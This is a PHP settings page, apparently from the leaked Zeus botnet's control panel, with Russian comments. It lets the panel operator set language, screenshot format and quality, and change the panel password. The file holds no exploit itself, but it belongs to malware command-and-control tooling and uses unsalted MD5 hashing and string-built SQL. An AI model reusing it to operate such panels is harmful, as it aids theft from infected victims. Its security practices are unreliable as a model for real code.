/temp/server/php/sys_user.php

https://github.com/korczis/Zeus · PHP · 142 lines · 113 code · 16 blank · 13 comment · 24 complexity · f40349a2af854ff6375fd7f9d671f32f MD5 · raw file

  1. <?php if(!defined('__CP__'))die();
  2. define('INPUT_WIDTH', '180px');
  3. define('DEFAULT_SS_TYPE', 'jpeg');
  4. $screenshotTypes = array('jpeg' => 'jpeg', 'gif' => 'gif', 'png' => 'png');
  5. $llist = array('en' => 'English', 'ru' => 'Russian (Русский)');
  6. $errors = array();
  7. ///////////////////////////////////////////////////////////////////////////////////////////////////
  8. // Обработка данных.
  9. ///////////////////////////////////////////////////////////////////////////////////////////////////
  10. $q = '';
  11. //Обработка основных данных.
  12. $language = strtolower(isset($_POST['language'], $llist[$_POST['language']]) ? $_POST['language'] : $userData['language']);
  13. if(!isset($llist[$language]))$language = DEFAULT_LANGUAGE;
  14. $q .= "language='".addslashes($language)."'";
  15. $screenshotFormat = strtolower(isset($_POST['screenshotFormat'], $screenshotTypes[$_POST['screenshotFormat']]) ? $_POST['screenshotFormat'] : $userData['ss_format']);
  16. if(!isset($screenshotTypes[$screenshotFormat]))$screenshotFormat = DEFAULT_SS_TYPE;
  17. $q .= ", ss_format='".addslashes($screenshotFormat)."'";
  18. $screenshotQuality = isset($_POST['screenshotQuality']) ? intval($_POST['screenshotQuality']) : $userData['ss_quality'];
  19. if($screenshotQuality <= 0 || $screenshotQuality > 100)$screenshotQuality = 30;
  20. $q .= ", ss_quality='".addslashes($screenshotQuality)."'";
  21. //Обработка пароля.
  22. if(isset($_POST['passold'], $_POST['pass1'], $_POST['pass2']) && strlen($_POST['passold']) > 0 && ($l = strlen($_POST['pass1'])) > 0)
  23. {
  24. if(strcasecmp(md5($_POST['passold']), $userData['pass']) !== 0)$errors[] = LNG_SYS_PASSWORD_E1;
  25. else if(strcmp($_POST['pass1'], $_POST['pass2']) !== 0)$errors[] = LNG_SYS_PASSWORD_E2;
  26. else if($l < 6 || $l > 64)$errors[] = sprintf(LNG_SYS_PASSWORD_E3, 6, 64);
  27. else $q .= ", pass='".addslashes(md5($_POST['pass1']))."'";
  28. }
  29. //Сохранение параметров.
  30. if(strcmp($_SERVER['REQUEST_METHOD'], 'POST') === 0 && count($errors) == 0)
  31. {
  32. if(!mysqlQueryEx('cp_users', "UPDATE cp_users SET {$q} WHERE id='{$userData['id']}' LIMIT 1"))$errors[] = mysqlErrorEx();
  33. else
  34. {
  35. header('Location: '.QUERY_STRING.'&u=1');
  36. die();
  37. }
  38. }
  39. ///////////////////////////////////////////////////////////////////////////////////////////////////
  40. // Вывод.
  41. ///////////////////////////////////////////////////////////////////////////////////////////////////
  42. //Заполнение списков.
  43. $languages = '';
  44. foreach($llist as $k => $v)
  45. {
  46. $languages .= str_replace(array('{VALUE}', '{TEXT}'), array($k, htmlEntitiesEx($v)), strcasecmp($language, $k) === 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM);
  47. }
  48. $screenshotFormats = '';
  49. foreach($screenshotTypes as $k => $v)
  50. {
  51. $screenshotFormats .= str_replace(array('{VALUE}', '{TEXT}'), array($k, htmlEntitiesEx($v)), strcasecmp($screenshotFormat, $k) === 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM);
  52. }
  53. $screenshotQualities = '';
  54. for($i = 5; $i <= 100; $i += 5)
  55. {
  56. $screenshotQualities .= str_replace(array('{VALUE}', '{TEXT}'), array($i, $i.'%'), ($screenshotQuality >= $i && $screenshotQuality <= $i) ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM);
  57. }
  58. ThemeBegin(LNG_SYS, 0, 0, 0);
  59. //Вывод ошибок.
  60. if(count($errors) > 0)
  61. {
  62. echo THEME_STRING_FORM_ERROR_1_BEGIN;
  63. foreach($errors as $r)echo $r.THEME_STRING_NEWLINE;
  64. echo THEME_STRING_FORM_ERROR_1_END;
  65. }
  66. //Вывод сообщений.
  67. else if(isset($_GET['u']))
  68. {
  69. echo THEME_STRING_FORM_SUCCESS_1_BEGIN.LNG_SYS_UPDATED.THEME_STRING_NEWLINE.THEME_STRING_FORM_SUCCESS_1_END;
  70. }
  71. //Вывод формы.
  72. echo
  73. str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('options', QUERY_STRING_HTML, ''), THEME_FORMPOST_BEGIN),
  74. str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN).
  75. THEME_DIALOG_ROW_BEGIN.
  76. str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN).
  77. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_SYS_MAIN), THEME_DIALOG_TITLE).
  78. THEME_DIALOG_ROW_BEGIN.
  79. str_replace('{TEXT}', LNG_SYS_LANGUAGE, THEME_DIALOG_ITEM_TEXT).
  80. str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN).
  81. str_replace(array('{NAME}', '{WIDTH}'), array('language', INPUT_WIDTH), THEME_DIALOG_ITEM_LISTBOX_BEGIN).
  82. $languages.
  83. THEME_DIALOG_ITEM_LISTBOX_END.
  84. THEME_DIALOG_ITEM_CHILD_END.
  85. THEME_DIALOG_ROW_END.
  86. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_SYS_SS), THEME_DIALOG_TITLE).
  87. THEME_DIALOG_ROW_BEGIN.
  88. str_replace('{TEXT}', LNG_SYS_SS_FORMAT, THEME_DIALOG_ITEM_TEXT).
  89. str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN).
  90. str_replace(array('{NAME}', '{WIDTH}'), array('screenshotFormat', INPUT_WIDTH), THEME_DIALOG_ITEM_LISTBOX_BEGIN).
  91. $screenshotFormats.
  92. THEME_DIALOG_ITEM_LISTBOX_END.
  93. THEME_DIALOG_ITEM_CHILD_END.
  94. THEME_DIALOG_ROW_END.
  95. THEME_DIALOG_ROW_BEGIN.
  96. str_replace('{TEXT}', LNG_SYS_SS_QUALITY, THEME_DIALOG_ITEM_TEXT).
  97. str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN).
  98. str_replace(array('{NAME}', '{WIDTH}'), array('screenshotQuality', INPUT_WIDTH), THEME_DIALOG_ITEM_LISTBOX_BEGIN).
  99. $screenshotQualities.
  100. THEME_DIALOG_ITEM_LISTBOX_END.
  101. THEME_DIALOG_ITEM_CHILD_END.
  102. THEME_DIALOG_ROW_END.
  103. THEME_DIALOG_GROUP_END.
  104. str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN).
  105. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_SYS_PASSWORD), THEME_DIALOG_TITLE).
  106. THEME_DIALOG_ROW_BEGIN.
  107. str_replace('{TEXT}', LNG_SYS_PASSWORD_OLD, THEME_DIALOG_ITEM_TEXT).
  108. str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('passold', '', 100, INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_PASSWORD).
  109. THEME_DIALOG_ROW_END.
  110. THEME_DIALOG_ROW_BEGIN.
  111. str_replace('{TEXT}', LNG_SYS_PASSWORD_NEW1, THEME_DIALOG_ITEM_TEXT).
  112. str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('pass1', '', 64, INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_PASSWORD).
  113. THEME_DIALOG_ROW_END.
  114. THEME_DIALOG_ROW_BEGIN.
  115. str_replace('{TEXT}', LNG_SYS_PASSWORD_NEW2, THEME_DIALOG_ITEM_TEXT).
  116. str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('pass2', '', 64, INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_PASSWORD).
  117. THEME_DIALOG_ROW_END.
  118. THEME_DIALOG_GROUP_END.
  119. THEME_DIALOG_ROW_END.
  120. str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_ACTIONLIST_BEGIN).
  121. str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_SYS_SAVE, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT).
  122. THEME_DIALOG_ACTIONLIST_END.
  123. THEME_DIALOG_END.
  124. THEME_FORMPOST_END;
  125. ThemeEnd();
  126. ?>